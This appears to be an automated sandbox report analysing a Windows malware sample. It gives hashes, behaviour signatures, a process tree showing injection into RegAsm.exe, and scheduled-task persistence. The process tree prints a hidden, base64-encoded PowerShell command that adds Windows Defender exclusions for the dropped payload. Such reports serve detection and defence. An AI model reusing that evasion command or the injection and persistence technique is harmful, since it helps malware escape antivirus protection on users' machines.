Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    02/06/2024, 01:05

General

  • Target

    1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe

  • Size

    627KB

  • MD5

    f64ac2d52a86b86f08b6c4bdc2d443e8

  • SHA1

    9268869f34ee1669642d8772273852789ec8fec9

  • SHA256

    1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3

  • SHA512

    b0ae630ff80b5277408c18a2d6bbd0c405ab370d0549607e3f3093feb1a1f9807fe4b6433d8b9fd5a4c6f105e7583c602594d356df7b5a6a15bc127fc20c7b9b

  • SSDEEP

    12288:wSO9Dx9JGtrjUCb5O3GwrJdovetVZK/WNIc9MSuklCpNkkblz1JEV2PjC/64owCY:NOdJGhjXs3GwrYv9/WNjySudblrs2Pj8

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe
    "C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2004
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {6DA35476-D1D3-4BF8-B2E5-E86385A52125} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:S4U:
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2620
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2572
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {BBCC50E0-FFC2-4E81-9C86-ED996D730C69} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Users\Admin\AppData\Roaming\Index\Parameters.exe
      C:\Users\Admin\AppData\Roaming\Index\Parameters.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1508

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • \Users\Admin\AppData\Roaming\Index\Parameters.exe

          Filesize

          627KB

          MD5

          f64ac2d52a86b86f08b6c4bdc2d443e8

          SHA1

          9268869f34ee1669642d8772273852789ec8fec9

          SHA256

          1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3

          SHA512

          b0ae630ff80b5277408c18a2d6bbd0c405ab370d0549607e3f3093feb1a1f9807fe4b6433d8b9fd5a4c6f105e7583c602594d356df7b5a6a15bc127fc20c7b9b

        • memory/1508-29-0x0000000140000000-0x00000001400A2000-memory.dmp

          Filesize

          648KB

        • memory/1508-22-0x0000000140000000-0x00000001400A2000-memory.dmp

          Filesize

          648KB

        • memory/1508-24-0x0000000140000000-0x00000001400A2000-memory.dmp

          Filesize

          648KB

        • memory/1508-26-0x0000000140000000-0x00000001400A2000-memory.dmp

          Filesize

          648KB

        • memory/1508-28-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

          Filesize

          4KB

        • memory/2004-3-0x000007FEF58A0000-0x000007FEF628C000-memory.dmp

          Filesize

          9.9MB

        • memory/2004-6-0x0000000002550000-0x00000000025A4000-memory.dmp

          Filesize

          336KB

        • memory/2004-0-0x000007FEF58A3000-0x000007FEF58A4000-memory.dmp

          Filesize

          4KB

        • memory/2004-4-0x00000000024F0000-0x0000000002546000-memory.dmp

          Filesize

          344KB

        • memory/2004-16-0x000007FEF58A0000-0x000007FEF628C000-memory.dmp

          Filesize

          9.9MB

        • memory/2004-5-0x0000000000920000-0x000000000096C000-memory.dmp

          Filesize

          304KB

        • memory/2004-2-0x000000001B870000-0x000000001B970000-memory.dmp

          Filesize

          1024KB

        • memory/2004-1-0x000000013FA70000-0x000000013FB12000-memory.dmp

          Filesize

          648KB

        • memory/2572-12-0x000000001A190000-0x000000001A472000-memory.dmp

          Filesize

          2.9MB

        • memory/2572-13-0x0000000001200000-0x0000000001208000-memory.dmp

          Filesize

          32KB

        • memory/2572-11-0x0000000001A40000-0x0000000001AC0000-memory.dmp

          Filesize

          512KB

        • memory/2924-21-0x000000013F4A0000-0x000000013F542000-memory.dmp

          Filesize

          648KB